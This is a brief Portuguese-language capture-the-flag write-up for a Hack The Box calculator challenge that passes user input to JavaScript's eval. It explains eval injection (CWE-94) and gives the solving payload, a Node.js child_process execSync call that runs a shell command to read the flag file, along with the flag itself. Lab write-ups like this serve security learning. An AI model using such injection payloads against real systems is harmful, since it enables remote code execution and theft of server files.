HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}
No início do desafio somos apresentados a uma tela simples de calculadora, dizendo que faz uso da função eval
. A função eval
é perigosa pois permite a introdução de código malicioso e pode servir de porta para Direct Dynamic Code Evaluation - Eval Injection Attack, ou (CWE-94) Improper Control of Generation of Code (‘Code Injection’).
Ao introduzir um código simples para pegar a simples, podemos obter a flag:
require('child_process').execSync('cat /flag.txt', { encoding: 'utf-8' })